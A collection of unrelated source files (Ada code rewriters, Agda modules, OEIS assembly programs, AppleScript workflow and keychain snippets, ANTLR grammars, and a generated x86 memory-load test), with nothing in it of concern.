Loop_Stmt_Rule),
Make_Pattern
("$S_Var := $S_Var or else (for some $S_I in $S_Range => $S_Cond);",
Stmt_Rule),
Accept_Single_Variable'Access);
Rewriter_For_Some_Elements_Or_Else :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_E of $S_Elements loop " &
"$S_Var := $S_Var or else $S_Cond;" & "end loop;",
Loop_Stmt_Rule),
Make_Pattern
("$S_Var := $S_Var or else " &
"(for some $S_E of $S_Elements => $S_Cond);",
Stmt_Rule));
Rewriter_For_All_Range_Exit : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := true; begin " &
"for $S_I in $S_Range " &
"loop if $S_Cond then $S_Var := false; exit; end if; end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for all $S_I in $S_Range => not ($S_Cond)); " &
"begin $M_Stmts; end;",
Block_Stmt_Rule),
Rewriters => Rewriters_Not);
Rewriter_For_All_Elements_Exit :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := true; begin " &
"for $S_E of $S_Elements loop " &
"if $S_Cond then $S_Var := false; exit; end if; " & "end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for all $S_E of $S_Elements => not ($S_Cond)); " &
"begin $M_Stmts; end;",
Block_Stmt_Rule),
Rewriters => Rewriters_Not);
Rewriter_For_Some_Range_Exit : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := false; begin " &
"for $S_I in $S_Range " &
"loop if $S_Cond then $S_Var := true; exit; end if; end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for some $S_I in $S_Range => $S_Cond); " & "begin $M_Stmts; end;",
Block_Stmt_Rule));
Rewriter_For_Some_Elements_Exit :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := false; begin " &
"for $S_E of $S_Elements loop " &
"if $S_Cond then $S_Var := true; exit; end if; " & "end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for some $S_E of $S_Elements => $S_Cond); " &
"begin $M_Stmts; end;",
Block_Stmt_Rule));
Rewriter_For_All_Range_Return :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_I in $S_Range " &
"loop if $S_Cond then return false; end if; end loop; " &
"return true;",
Stmts_Rule),
Make_Pattern
("return (for all $S_I in $S_Range => not ($S_Cond));",
Return_Stmt_Rule),
Rewriters => Rewriters_Not);
Rewriter_For_All_Elements_Return :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_E of $S_Elements " &
"loop if $S_Cond then return false; end if; end loop; " &
"return true;",
Stmts_Rule),
Make_Pattern
("return (for all $S_E of $S_Elements => not ($S_Cond));",
Return_Stmt_Rule),
Rewriters => Rewriters_Not);
Rewriter_For_Some_Range_Return :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_I in $S_Range " &
"loop if $S_Cond then return true; end if; end loop; " &
"return false;",
Stmts_Rule),
Make_Pattern
("return (for some $S_I in $S_Range => $S_Cond);",
Return_Stmt_Rule));
Rewriter_For_Some_Elements_Return :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_E of $S_Elements " &
"loop if $S_Cond then return true; end if; end loop; " &
"return false;",
Stmts_Rule),
Make_Pattern
("return (for some $S_E of $S_Elements => $S_Cond);",
Return_Stmt_Rule));
Rewriter_For_All_Range_All : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := true; begin " &
"for $S_I in $S_Range " &
"loop if $S_Expr then $S_Var := false; end if; end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for all $S_I in $S_Range => not ($S_Expr)); " &
"begin $M_Stmts; end;",
Block_Stmt_Rule),
Accept_No_Side_Effects'Access,
Rewriters_Not);
Rewriter_For_All_Elements_All :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := true; begin " &
"for $S_E of $S_Elements loop " &
"if $S_Expr then $S_Var := false; end if; " & "end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for all $S_E of $S_Elements => not ($S_Expr)); " &
"begin $M_Stmts; end;",
Block_Stmt_Rule),
Accept_No_Side_Effects'Access,
Rewriters_Not);
Rewriter_For_Some_Range_All : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := false; begin " &
"for $S_I in $S_Range " &
"loop if $S_Expr then $S_Var := true; end if; end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for some $S_I in $S_Range => $S_Expr); " & "begin $M_Stmts; end;",
Block_Stmt_Rule),
Accept_No_Side_Effects'Access);
Rewriter_For_Some_Elements_All :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : Boolean := false; begin " &
"for $S_E of $S_Elements loop " &
"if $S_Expr then $S_Var := true; end if; " & "end loop; " &
"$M_Stmts; end;",
Block_Stmt_Rule),
Make_Pattern
("declare $S_Var : Boolean := " &
"(for some $S_E of $S_Elements => $S_Expr); " &
"begin $M_Stmts; end;",
Block_Stmt_Rule),
Accept_No_Side_Effects'Access);
function Accept_Append_To_Unbounded_String
(Match : Match_Pattern)
return Boolean
is
(Is_String_Expression (Match, "$S_Expr") and then
Is_Referenced_Decl_Defined_In_AStrUnb
(Match.Get_Nodes.First_Element.As_Call_Stmt.F_Call));
Rewriter_Append_To_Unbounded_String :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("Append ($S_Var, To_Unbounded_String ($M_Source => $S_Expr));",
Call_Stmt_Rule),
Make_Pattern
("Append ($S_Var, $S_Expr);", Call_Stmt_Rule),
Accept_Append_To_Unbounded_String'Access);
Rewriter_Append : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Var := $S_Var & $S_Tail;", Assignment_Stmt_Rule),
Make_Pattern ("Append ($S_Var, $S_Tail);", Call_Stmt_Rule),
Accept_Unbounded_String'Access);
-- When issue 18 is solved, chain Rewriter_Append_To_Unbounded_String
-- after the Append rewrite to remove the unnecessary conversions as well
----------------------------------------------------------------------------
-- Declarations
----------------------------------------------------------------------------
Rewriter_Declarations_Combine :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$M_X : $S_Type := $M_Expr;" & "$M_Y : $S_Type := $M_Expr;",
Basic_Decls_Rule),
Make_Pattern ("$M_X, $M_Y : $S_Type := $M_Expr;", Basic_Decl_Rule),
Accept_Multiple_No_Side_Effects'Access);
Rewriter_For_Attribute_Use : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var : $S_Type := $M_Value with $M_Aspects;" &
"for $S_Var'$S_Attribute use $S_Expr;",
Basic_Decls_Rule),
Make_Pattern
("$S_Var : $S_Type := $M_Value " &
"with $M_Aspects, $S_Attribute => $S_Expr;",
Basic_Decl_Rule));
Rewriter_For_Attribute_Use_Aliased :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var : aliased $S_Type := $M_Value with $M_Aspects;" &
"for $S_Var'$S_Attribute use $S_Expr;",
Basic_Decls_Rule),
Make_Pattern
("$S_Var : aliased $S_Type := $M_Value " &
"with $M_Aspects, $S_Attribute => $S_Expr;",
Basic_Decl_Rule));
Rewriter_For_Attribute_Use_Array :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var : array ($M_Ranges) of $S_Type := " &
"$M_Value with $M_Aspects;" &
"for $S_Var'$S_Attribute use $S_Expr;",
Basic_Decls_Rule),
Make_Pattern
("$S_Var : array ($M_Ranges) of $S_Type := $M_Value " &
"with $M_Aspects, $S_Attribute => $S_Expr;",
Basic_Decl_Rule));
Rewriter_For_Attribute_Use_Pragma_Var :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var : $S_Type := $M_Value with $M_Aspects;" &
"pragma Warnings (Off, $S_Var);" &
"for $S_Var'$S_Attribute use $S_Expr;",
Basic_Decls_Rule),
Make_Pattern
("$S_Var : $S_Type := $M_Value " &
"with $M_Aspects, $S_Attribute => $S_Expr;" &
"pragma Warnings (Off, $S_Var);",
Basic_Decls_Rule));
Rewriter_For_Attribute_Use_Pragma_All :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var : $S_Type := $M_Value with $M_Aspects;" &
"pragma Warnings (Off);" & "for $S_Var'$S_Attribute use $S_Expr;",
Basic_Decls_Rule),
Make_Pattern
("$S_Var : $S_Type := $M_Value " &
"with $M_Aspects, $S_Attribute => $S_Expr;" &
"pragma Warnings (Off);",
Basic_Decls_Rule));
end Predefined_Rewriters;
|
src/tileset14x16_0.asm | dma-homebrew/dhgr | 4 | 23603 | ;-----------------------------------------------------------------------------
; <NAME> - 2021
;-----------------------------------------------------------------------------
; Sample tiles
;-----------------------------------------------------------------------------
; Just a copy of the built-in tiles
.org $6000
MAX_TILES = 64
.include "tileSheet_background_14x16.asm"
|
programs/oeis/254/A254627.asm | karttu/loda | 0 | 164300 | ; A254627: Indices of centered pentagonal numbers (A005891) that are also triangular numbers (A000217).
; 1,2,11,28,189,494,3383,8856,60697,158906,1089155,2851444,19544085,51167078,350704367,918155952,6293134513,16475640050,112925716859,295643364940,2026369768941,5305104928862,36361730124071,95196245354568,652484772464329,1708227311453354
mul $0,3
trn $0,1
mov $1,8
mov $2,4
lpb $0,1
sub $0,1
trn $0,1
add $2,$1
add $1,$2
lpe
mul $2,5
add $0,$2
mov $1,$0
div $1,40
add $1,1
|
Serializer/Fin.agda | mathijsb/generic-in-agda | 6 | 6043 | module Serializer.Fin where
open import Data.Fin hiding (_+_)
open import Data.Nat
open import Function using (_β_ ; _$_ ; _β_ ; id ; const)
open import Function.Bijection
open import Relation.Binary.PropositionalEquality using (_β‘_ ; refl ; cong ; setoid )
open import Serializer
instance
serializerFin : β {n} -> Serializer (Fin n)
serializerFin {n} = record {
size = n ;
from = Function.id ;
to = Function.id ;
bijection = Function.Bijection.id }
|
workflow/select.applescript | thepratik/alfred4-youtube-control | 0 | 4210 | <gh_stars>0
# Available argv:
# - missing value: return json as ScriptFilter
# - long: id of `CrTb` to select and return message if have
on run argv
# Prepare loader
set Loader to init(path to me as text) of (load script POSIX path of ((path to me as text) & "::") & "loader.scpt")
set selector to init(Loader) of load("youtube-selector.scpt") of Loader
if length of argv is 0 then
set player_list to create() of load("filter-factory.scpt") of Loader
set Cache to init() of load("cache.scpt") of Loader
set Utils to load("utils.scpt") of Loader
# Add help message
tell player_list to add given T:"Select a player", S:"", A:"", I:"icon.png", M:"", C:"", TY:"", V:0
repeat with player in selector's get_players()
tell application "Google Chrome" to tell player
set {song_title, tab_id, the_url} to {title, id, URL}
end tell
set song_title to escape(song_title) of Utils
set icon_path to Cache's download(thumbnail_url_of_youtube(the_url) of Utils)
# Add YouTube tab with title and thumbnail
tell player_list to add given T:song_title, S:"", A:tab_id, I:icon_path, M:0, C:"", TY:"", V:1
end repeat
return to_json() of player_list
else
set tab_id to item 1 of argv as number
set player to selector's get_player()
if player is not null then
set info to init(player) of load("youtube-info.scpt") of Loader
set youtube to init(player) of load("youtube-controller.scpt") of Loader
if info's is_playing() and player's id is not equal to tab_id then tell youtube to pause()
end if
tell selector to set_player(get_tab_from_id(tab_id))
tell application "Alfred 4" to run trigger "open" in workflow "me.shirohana.alfred-youtube-control"
end if
end run
|
programs/oeis/047/A047357.asm | jmorken/loda | 1 | 29285 | <filename>programs/oeis/047/A047357.asm
; A047357: Numbers that are congruent to {0, 1, 3} mod 7.
; 0,1,3,7,8,10,14,15,17,21,22,24,28,29,31,35,36,38,42,43,45,49,50,52,56,57,59,63,64,66,70,71,73,77,78,80,84,85,87,91,92,94,98,99,101,105,106,108,112,113,115,119,120,122,126,127,129,133,134,136,140
mov $3,$0
add $3,1
mov $0,$3
mov $2,$3
lpb $0
trn $0,2
mov $1,$2
sub $1,1
add $1,$0
trn $0,1
add $2,4
lpe
|
agda-stdlib/src/Data/List/Relation/Binary/Sublist/Propositional/Disjoint.agda | DreamLinuxer/popl21-artifact | 5 | 6060 | <reponame>DreamLinuxer/popl21-artifact<filename>agda-stdlib/src/Data/List/Relation/Binary/Sublist/Propositional/Disjoint.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- Sublist-related properties
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List.Relation.Binary.Sublist.Propositional.Disjoint
{a} {A : Set a} where
open import Data.List.Base using (List)
open import Data.List.Relation.Binary.Sublist.Propositional
open import Relation.Binary.PropositionalEquality using (_β‘_; refl; cong)
------------------------------------------------------------------------
-- A Union where the triangles commute is a
-- Cospan in the slice category (_ β zs).
record IsCospan {xs ys zs : List A} {Οβ : xs β zs} {Οβ : ys β zs} (u : UpperBound Οβ Οβ) : Set a where
field
triβ : β-trans (UpperBound.injβ u) (UpperBound.sub u) β‘ Οβ
triβ : β-trans (UpperBound.injβ u) (UpperBound.sub u) β‘ Οβ
record Cospan {xs ys zs : List A} (Οβ : xs β zs) (Οβ : ys β zs) : Set a where
field
upperBound : UpperBound Οβ Οβ
isCospan : IsCospan upperBound
open UpperBound upperBound public
open IsCospan isCospan public
open IsCospan
open Cospan
module _
{x : A} {xs ys zs : List A} {Οβ : xs β zs} {Οβ : ys β zs}
(d : Disjoint Οβ Οβ) (c : IsCospan (β-disjoint-union d)) where
β·β-cospan : IsCospan (β-disjoint-union (x β·β d))
β·β-cospan = record
{ triβ = cong (x β·Κ³_) (c .triβ)
; triβ = cong (x β·Κ³_) (c .triβ)
}
β·β-cospan : IsCospan (β-disjoint-union (refl {x = x} β·β d))
β·β-cospan = record
{ triβ = cong (refl β·_) (c .triβ)
; triβ = cong (x β·Κ³_) (c .triβ)
}
β·α΅£-cospan : IsCospan (β-disjoint-union (refl {x = x} β·α΅£ d))
β·α΅£-cospan = record
{ triβ = cong (x β·Κ³_) (c .triβ)
; triβ = cong (refl β·_) (c .triβ)
}
β-disjoint-union-is-cospan : β {xs ys zs : List A} {Οβ : xs β zs} {Οβ : ys β zs} β
(d : Disjoint Οβ Οβ) β IsCospan (β-disjoint-union d)
β-disjoint-union-is-cospan [] = record { triβ = refl ; triβ = refl }
β-disjoint-union-is-cospan (x β·β d) = β·β-cospan d (β-disjoint-union-is-cospan d)
β-disjoint-union-is-cospan (refl β·β d) = β·β-cospan d (β-disjoint-union-is-cospan d)
β-disjoint-union-is-cospan (refl β·α΅£ d) = β·α΅£-cospan d (β-disjoint-union-is-cospan d)
β-disjoint-union-cospan : β {xs ys zs : List A} {Οβ : xs β zs} {Οβ : ys β zs} β
Disjoint Οβ Οβ β Cospan Οβ Οβ
β-disjoint-union-cospan d = record
{ upperBound = β-disjoint-union d
; isCospan = β-disjoint-union-is-cospan d
}
|
Snippets/Get Keychain Password for Service.applescript | rogues-gallery/applescript | 360 | 301 | -- lightly modified version of script from https://apps.inspira.io/bluesense/en/applescript/
on getPassword(keychainItemName)
local password
set password to do shell script ("/usr/bin/security 2>&1 >/dev/null find-generic-password -gl " & quoted form of keychainItemName & " | cut -c 11-99 | sed 's/\"//g'")
if password contains "could not be found in the keychain" or password as string is equal to "" then
display alert "Password not found in the keychain" message "Certain tasks in this script need the administrator password to work.
You must create a new password in the OS X Keychain with a custom name, and set it with your administrator password, then edit this script." as critical
error "Password could not be found in the keychain."
else
return password
end if
end getPassword
set thisPw to text returned of (display dialog "Enter Service for password" default answer "")
set my_password to getPassword(thisPw) |
sharding-core/src/main/antlr4/imports/OracleCreateTable.g4 | shaojie925/incubator-shardingsphere | 0 | 364 | grammar OracleCreateTable;
import OracleKeyword, Keyword, DataType, OracleCreateIndex, OracleTableBase, OracleBase, BaseRule, Symbol;
createTable
: CREATE (GLOBAL TEMPORARY)? TABLE tableName relationalTable
;
relationalTable
: (LP_ relationalProperties RP_)? (ON COMMIT (DELETE | PRESERVE) ROWS)? tableProperties
;
relationalProperties
: relationalProperty (COMMA relationalProperty)*
;
relationalProperty
: columnDefinition | virtualColumnDefinition | outOfLineConstraint | outOfLineRefConstraint
;
tableProperties
: columnProperties? (AS unionSelect)?
;
unionSelect
: matchNone
;
|
project1/src/main/antlr/CalculatorGrammarParser.g4 | emilyding0601/CSE373-SU18 | 0 | 7724 | parser grammar CalculatorGrammarParser;
options {
tokenVocab=CalculatorGrammarLexer;
}
program
: (statements+=statement)* EOF
;
statement
: varName=IDENTIFIER ASSIGN expr=addExpr LINE_BREAK # assignStmt
| expr=addExpr LINE_BREAK # exprStmt
;
addExpr
: left=addExpr op=(PLUS | MINUS) right=multiplyExpr # addExprBin
| expr=multiplyExpr # addExprSingle
;
multiplyExpr
: left=multiplyExpr op=(MULTIPLY | DIVIDE) right=negExpr # multExprBin
| expr=negExpr # multExprSingle
;
negExpr
: MINUS expr=negExpr # negExprUnary
| expr=powExpr # negExprSingle
;
// The exponentiation operator is right-associative
powExpr
: left=atomExpr op=POW right=powExpr # powExprBin
| expr=atomExpr # powExprSingle
;
atomExpr
: value=NUMBER # number
| rawText=STRING # rawString
| varName=IDENTIFIER # variable
| funcName=IDENTIFIER LPAREN args=arglist RPAREN # funcName
| LPAREN expr=addExpr RPAREN # parenExpr
;
arglist
: (values+=addExpr (COMMA values+=addExpr)*)?
;
|
sharding-parser/src/main/antlr4/imports/SQLStatement.g4 | yangyuxin325/workshop20200415 | 0 | 1226 |
grammar SQLStatement;
import Symbol, Keyword, Literals;
use
: USE schemaName
;
schemaName
: identifier
;
insert
: INSERT INTO? tableName columnNames? VALUE assignmentValues
;
select
: SELECT selectColumnNames fromClause? whereClause?
;
selectColumnNames
: columnName (COMMA_ columnName)*
;
fromClause
: FROM tableName
;
whereClause
: WHERE columnName EQ_ columnValue
;
columnValue
: identifier
;
assignmentValues
: LP_ assignmentValue (COMMA_ assignmentValue)* RP_
;
assignmentValue
: identifier
;
columnNames
: LP_ columnName (COMMA_ columnName)* RP_
;
columnName
: identifier
;
tableName
: identifier
;
identifier
: IDENTIFIER_ | STRING_ | NUMBER_
;
|
Gas/Dos/GC/Oxygen.asm | Gabidal/GAS_Pack | 1 | 98565 | <gh_stars>1-10
;THE GAS COMPILER READER TO TAKE AND MAKE THE TOKENS!
Lexer:
mov si, word oxSave[0]
getByte oxyString, buffer+si, ';'
pop si
mov oxSave[0], si
find Yw, oxyString, '('
jne noParenthesis
;GET PARENTHESIS
find Yw, oxyString, '('
je parenthesi
jne nonoParentheis
parenthesi:
pop si
inc si
getByte Xw, oxyString+si, ')'
pop si
clean si
fbgLop:
find Yw, Xw, '('
jne nonoParentheis
pop si
inc si
getByte Xw, Xw+si, ')'
pop si
jmp fbgLop
nonoParentheis:
;IF TRUE
;INSIDE OF PARENTHESIS ARE IN Xw
;NOT INSIDE ARE IN ORIGINAL oxyString
;GET MUL
find Yw, Xw, '*'
jne nextDiv
pop si
getBoth Xw, si, si, di
;GET DIV
nextDiv:
find Yw, Xw, '/'
jne nextSum
pop si
getBoth Xw, si, si, di
;GET SUM
nextSum:
find Yw, Xw, '+'
jne nextSub
pop si
getBoth Xw, si, si, di
;GET SUB
nextSub:
find Yw, Xw, '-'
jne nextSet
pop si
getBoth Xw, si, si, di
;SET TO
nextSet:
find Yw, Xw, '='
pop si
getBoth Xw, si, si, di
;IF NO PARENTHESIS
noParenthesis:
pop si
;GET MUL
find Yw, oxyString, '*'
jne nextDiv2
pop si
getBoth oxyString, si, si, di
;GET DIV
nextDiv2:
find Yw, oxyString, '/'
jne nextSum2
pop si
getBoth oxyString, si, si, di
;GET SUM
nextSum2:
find Yw, oxyString, '+'
jne nextSub2
pop si
getBoth oxyString, si, si, di
;GET SUB
nextSub2:
find Yw, oxyString, '-'
jne nextSet2
pop si
getBoth oxyString, si, si, di
;SET TO
nextSet2:
find Yw, oxyString, '='
pop si
getBoth oxyString, si, si, di
|
awa/samples/src/atlas-microblog-modules.ads | Letractively/ada-awa | 7 | 25828 | -----------------------------------------------------------------------
-- atlas-microblog-modules -- Module microblog
-- Copyright (C) 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with ASF.Applications;
with AWA.Modules;
with Atlas.Microblog.Models;
package Atlas.Microblog.Modules is
-- The name under which the module is registered.
NAME : constant String := "microblog";
-- ------------------------------
-- Module microblog
-- ------------------------------
type Microblog_Module is new AWA.Modules.Module with private;
type Microblog_Module_Access is access all Microblog_Module'Class;
-- Initialize the microblog module.
overriding
procedure Initialize (Plugin : in out Microblog_Module;
App : in AWA.Modules.Application_Access;
Props : in ASF.Applications.Config);
-- Get the microblog module.
function Get_Microblog_Module return Microblog_Module_Access;
-- Create a post for the microblog.
procedure Create (Plugin : in Microblog_Module;
Post : in out Atlas.Microblog.Models.Mblog_Ref);
private
type Microblog_Module is new AWA.Modules.Module with null record;
end Atlas.Microblog.Modules;
|
oeis/114/A114647.asm | neoneye/loda-programs | 11 | 1730 | <reponame>neoneye/loda-programs
; A114647: Expansion of (3 -4*x -3*x^2)/((1-x^2)*(1-2*x-x^2)); a Pellian-related sequence.
; Submitted by <NAME>
; 3,2,7,12,31,70,171,408,987,2378,5743,13860,33463,80782,195027,470832,1136691,2744210,6625111,15994428,38613967,93222358,225058683,543339720,1311738123,3166815962,7645370047,18457556052,44560482151,107578520350,259717522851,627013566048,1513744654947,3654502875938,8822750406823,21300003689580,51422757785983,124145519261542,299713796309067,723573111879672,1746860020068411,4217293152016490,10181446324101391,24580185800219268,59341817924539927,143263821649299118,345869461223138163
mov $2,1
lpb $0
sub $0,1
sub $3,$4
mov $4,$2
mov $2,$3
add $5,2
add $5,$4
mov $3,$5
sub $4,$5
add $5,$2
lpe
mov $0,$2
add $0,2
|
Transynther/x86/_processed/US/_st_4k_/i7-7700_9_0x48_notsx.log_39_530.asm | ljhsiun2/medusa | 9 | 179837 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x9370, %r12
nop
nop
nop
nop
nop
sub %r8, %r8
mov (%r12), %r13w
nop
and $61042, %rdi
lea addresses_WT_ht+0x10f72, %rsi
lea addresses_normal_ht+0x8932, %rdi
nop
nop
nop
nop
dec %rax
mov $31, %rcx
rep movsb
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0xe932, %rax
nop
nop
nop
sub $15154, %rcx
movw $0x6162, (%rax)
nop
cmp $8749, %rsi
lea addresses_D_ht+0x8a32, %rsi
lea addresses_WC_ht+0x15e84, %rdi
add %rdx, %rdx
mov $120, %rcx
rep movsw
dec %r12
lea addresses_WC_ht+0xd682, %rsi
lea addresses_WT_ht+0x17f32, %rdi
nop
nop
and $10025, %r12
mov $82, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WC_ht+0x17732, %rsi
nop
nop
sub $34729, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%rsi)
nop
nop
dec %r12
lea addresses_D_ht+0x1d9ea, %rsi
lea addresses_normal_ht+0x1bb32, %rdi
nop
cmp $28276, %r12
mov $3, %rcx
rep movsw
nop
nop
nop
and $41830, %r13
lea addresses_D_ht+0x162f2, %rsi
nop
nop
nop
nop
sub $16196, %r12
and $0xffffffffffffffc0, %rsi
vmovaps (%rsi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rcx
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x15732, %r8
nop
nop
nop
nop
cmp $38055, %r12
mov (%r8), %r13w
nop
nop
add $7865, %rcx
lea addresses_WC_ht+0x19b12, %r12
nop
nop
nop
nop
add $16448, %rdx
mov (%r12), %r8w
nop
nop
dec %rdx
lea addresses_A_ht+0x13532, %rcx
nop
nop
add %r12, %r12
movb (%rcx), %r13b
nop
nop
nop
nop
and %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %r9
push %rcx
push %rdi
// Store
lea addresses_A+0xf732, %r11
nop
nop
lfence
mov $0x5152535455565758, %rcx
movq %rcx, %xmm4
movups %xmm4, (%r11)
nop
nop
nop
nop
add $30248, %r12
// Store
lea addresses_A+0x2c32, %r10
nop
nop
nop
nop
add $6612, %r11
mov $0x5152535455565758, %r12
movq %r12, %xmm0
vmovntdq %ymm0, (%r10)
nop
and %rcx, %rcx
// Load
lea addresses_US+0x12372, %rcx
clflush (%rcx)
nop
nop
nop
and $18945, %r15
movups (%rcx), %xmm6
vpextrq $0, %xmm6, %r12
cmp $28943, %r10
// Load
lea addresses_UC+0x13a12, %r12
nop
nop
nop
nop
nop
and $14762, %r10
mov (%r12), %r11
nop
and %rdi, %rdi
// Store
mov $0x5d93e10000000732, %r12
nop
nop
add $15445, %r11
mov $0x5152535455565758, %rdi
movq %rdi, (%r12)
nop
nop
nop
cmp $51709, %r9
// Faulty Load
lea addresses_US+0xd732, %r11
nop
nop
nop
nop
inc %rdi
mov (%r11), %r15
lea oracles, %r11
and $0xff, %r15
shlq $12, %r15
mov (%r11,%r15,1), %r15
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 5}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_US', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC', 'congruent': 4}}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_NC', 'congruent': 11}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_US', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 1, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 10}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 7}}
{'58': 39}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
